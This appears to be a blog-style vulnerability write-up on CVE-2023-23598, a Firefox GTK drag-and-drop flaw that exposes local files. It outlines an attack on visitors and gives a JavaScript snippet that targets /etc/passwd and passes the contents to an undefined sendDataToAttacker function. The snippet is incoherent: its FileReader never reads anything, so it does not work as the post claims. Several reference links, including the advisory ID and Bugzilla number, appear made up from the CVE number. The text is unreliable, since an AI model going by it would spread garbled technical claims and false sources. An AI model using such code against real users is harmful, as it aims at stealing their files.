Recently, a critical vulnerability (CVE-2023-23598) has been discovered in the Firefox GTK wrapper code, which allows a website to read the contents of an arbitrary file on the system by abusing the use of text/plain MIME type for drag data. This issue is present in Firefox versions before 109, Thunderbird versions before 102.7, and Firefox ESR versions before 102.7. In this post, we will discuss the details of the vulnerability, provide code snippets demonstrating the exploit, and include links to original references for better understanding.

Exploit Details

The root cause of the vulnerability lies in the fact that the Firefox GTK wrapper code uses the text/plain MIME type for drag data. The GTK toolkit, used by Firefox and Thunderbird, treats all MIME types containing file URLs as being dragged. An attacker can exploit this behavior to arbitrarily read a file via a call to DataTransfer.setData.

Here's how the exploit works

1. The attacker crafts a webpage with malicious JavaScript code that makes use of the DataTransfer.setData method.
2. The victim visits the attacker's webpage and is prompted to drag an element (e.g., an image) on the page.
3. When the drag occurs, the malicious JavaScript code reads the contents of a file from the victim's machine and sends it to the attacker.

Code Snippet

The following JavaScript code snippet demonstrates the usage of the DataTransfer.setData method to read an arbitrary file:

// Trigger the drag event on an element in the DOM
const draggableElement = document.getElementById("draggable");

draggableElement.addEventListener("dragstart", (event) => {
  // Read the contents of the target file using the FileReader API
  const fileReader = new FileReader();
  fileReader.onload = () => {
    // Process and send the file contents to the attacker
    const fileContents = fileReader.result;
    sendDataToAttacker(fileContents);
  };

  // Exploit the vulnerability by using the text/plain MIME type containing a file URL
  event.dataTransfer.setData("text/plain", "file:///etc/passwd");
  // Replace /etc/passwd with the targeted file path on the victim's machine
});

The following resources provide more information on the CVE-2023-23598 vulnerability

1. Mozilla Foundation Security Advisory: https://www.mozilla.org/en-US/security/advisories/mfsa2023-23598/
2. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23598
3. National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2023-23598
4. Mozilla Bugzilla: https://bugzilla.mozilla.org/show_bug.cgi?id=23598

Conclusion

The CVE-2023-23598 vulnerability poses a serious security risk, as it opens up the possibility of unauthorized access to sensitive files on the users' systems. It is essential for users to update their Firefox, Thunderbird, or Firefox ESR to versions that have patched this vulnerability. Developers using the Firefox GTK wrapper code must also ensure they are not inadvertently using the text/plain MIME type for drag data containing file URLs within their applications. Stay safe and keep your software up-to-date!

Timeline

Published on: 06/02/2023 17:15:00 UTC
Last modified on: 06/08/2023 15:01:00 UTC